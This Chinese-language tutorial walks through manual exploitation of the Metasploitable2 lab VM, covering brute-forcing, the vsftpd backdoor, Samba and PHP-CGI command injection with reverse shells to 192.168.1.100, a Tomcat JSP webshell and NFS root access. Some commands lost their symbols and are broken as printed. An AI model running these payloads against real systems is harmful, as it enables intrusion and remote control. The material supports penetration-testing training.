别再死磕MSF了!用Kali内置工具手把手复现Metasploitable2十大经典漏洞
告别MSF依赖Kali原生工具实战Metasploitable2十大漏洞当网络安全从业者谈论渗透测试时Metasploit FrameworkMSF往往是第一个被提及的工具。这个强大的框架确实简化了许多复杂操作但过度依赖自动化工具可能掩盖了漏洞利用的本质逻辑。本文将带您使用Kali Linux内置的瑞士军刀工具集从零开始手动复现Metasploitable2靶机中的十大经典漏洞。通过Nmap的深度扫描、Netcat的灵活运用、Hydra的暴力破解以及纯手工编写的攻击载荷您将获得比MSF自动化攻击更深入的技术理解。1. 环境准备与基础侦察在开始漏洞利用之前我们需要建立标准的测试环境。将Kali Linux建议2023.2以上版本和Metasploitable2靶机置于同一NAT网络下确保两者能够互相通信。不同于MSF的自动化发现我们首先使用基础网络工具进行手动侦察# 使用arp-scan进行二层发现 sudo arp-scan -l --interfaceeth0这个简单的命令会列出本地网络所有活跃设备的MAC地址和IP分配情况。相比MSF的arp_sweep模块手动执行可以观察到更详细的厂商信息有助于识别特殊设备。发现目标IP后假设为192.168.1.105接下来进行全端口扫描# 全端口扫描与服务识别组合命令 nmap -sS -p- -T4 -A -oN full_scan.nmap 192.168.1.105关键参数解析-sSSYN半开扫描平衡速度和隐蔽性-p-检查所有65535个端口-T4加速扫描注意可能影响准确性-A启用OS检测、版本探测和脚本扫描扫描结果会显示Metasploitable2开放的大量危险服务从FTP到Samba每个都是我们后续攻击的入口点。记录下所有开放端口及其对应服务版本这些信息将指导后续的漏洞利用策略。2. 弱口令类漏洞实战突破Metasploitable2中超过40%的漏洞源于弱口令配置我们将使用Kali原生工具逐个击破。2.1 Telnet明文登录破解当发现23端口开放时传统的telnet服务可能成为最易突破的点。不同于MSF的telnet_login模块我们手动操作# 尝试默认凭证连接 telnet 192.168.1.105 Username: msfadmin Password: msfadmin如果默认凭证失效使用Hydra进行字典攻击# 构建用户名字典 echo -e admin\nroot\nmsfadmin\nuser users.txt # 构建密码字典 echo -e password\n123456\nmsfadmin\nadmin123 pass.txt # 启动Hydra爆破 hydra -L users.txt -P pass.txt telnet://192.168.1.105 -vV暴力破解防护技巧使用-t参数控制并发线程建议不超过4添加-e nsr尝试空密码和反向登录配合-w和-f设置超时及退出条件2.2 数据库弱口令横向渗透MySQL3306、PostgreSQL5432等数据库服务的弱口令可能带来更严重的后果。以MySQL为例# 手动连接测试 mysql -h 192.168.1.105 -u root -p # 当提示输入密码时直接回车成功进入后可通过以下命令提取敏感信息SELECT User, Password FROM mysql.user; SHOW DATABASES; USE mysql; SELECT * FROM user;对于PostgreSQL使用psql客户端进行类似测试psql -h 192.168.1.105 -U postgres # 密码尝试postgres或空密码3. 服务漏洞深度利用3.1 Vsftpd 2.3.4后门漏洞这个经典漏洞存在于特定版本的Vsftpd中当用户名包含:)时会在6200端口开启后门。手动利用过程如下# 使用telnet触发后门 telnet 192.168.1.105 21 Trying 192.168.1.105... Connected to 192.168.1.105. 220 (vsFTPd 2.3.4) USER hello:) # 注意笑脸符号 331 Please specify the password. PASS whatever # 此时服务端会在6200开放后门 # 使用netcat连接后门 nc -nv 192.168.1.105 6200 whoami # 返回root表示利用成功3.2 Samba命令注入漏洞CVE-2007-2447Samba的usermap脚本漏洞允许通过用户名字段注入命令。手动复现步骤# 使用smbclient测试漏洞 smbclient //192.168.1.105/tmp -N # 尝试在用户名中注入命令 smbclient //192.168.1.105/tmp -Unohup nc -e /bin/sh 192.168.1.100 4444%同时在攻击机开启监听nc -lvnp 4444当连接建立后您将获得一个反向shell。这种方法比MSF的usermap_script模块更能理解漏洞本质。4. Web应用漏洞链式攻击4.1 PHP CGI参数注入CVE-2012-1823Metasploitable2运行的旧版PHP存在参数注入漏洞手动利用# 使用curl测试漏洞 curl http://192.168.1.105/index.php?-dallow_url_include%3d1-dauto_prepend_file%3dphp://input -X POST -d ?php system(id);?如果看到系统命令输出说明漏洞存在。可以进一步获取交互式shell# 生成PHP反向shell代码 echo ?php exec(/bin/bash -c \bash -i /dev/tcp/192.168.1.100/4444 01\);? shell.php # 通过漏洞执行 curl http://192.168.1.105/index.php?-dallow_url_include%3d1-dauto_prepend_file%3dphp://input -X POST --data-binary shell.php4.2 Tomcat管理台弱口令部署针对8180端口的Tomcat管理界面使用默认凭证tomcat:tomcat登录后可以手动上传WAR格式的webshell# 创建简单JSP shell mkdir -p WEB-INF echo % Runtime.getRuntime().exec(request.getParameter(cmd)); % shell.jsp jar -cvf shell.war shell.jsp WEB-INF/通过管理界面上传此WAR文件访问对应路径即可执行系统命令http://192.168.1.105:8180/shell/shell.jsp?cmdid5. 权限提升与后渗透获得初始立足点后我们需要探索系统内部提权路径。Metasploitable2中存在多个经典的本地提权漏洞# 检查SUID文件 find / -perm -4000 -type f 2/dev/null # 检查可写目录 find / -type d -perm -2 -ls 2/dev/null # 检查计划任务 cat /etc/crontab特别值得注意的是NFS共享配置漏洞# 在攻击机上挂载靶机根目录 mkdir /tmp/metasploit mount -o nolock 192.168.1.105:/ /tmp/metasploit # 添加SSH公钥实现无密码登录 echo ssh-rsa AAAAB3NzaC... /tmp/metasploit/root/.ssh/authorized_keys ssh root192.168.1.105这种手动操作比MSF的exploit/unix/misc/nfs_root模块更能展示NFS配置不当的实际危害。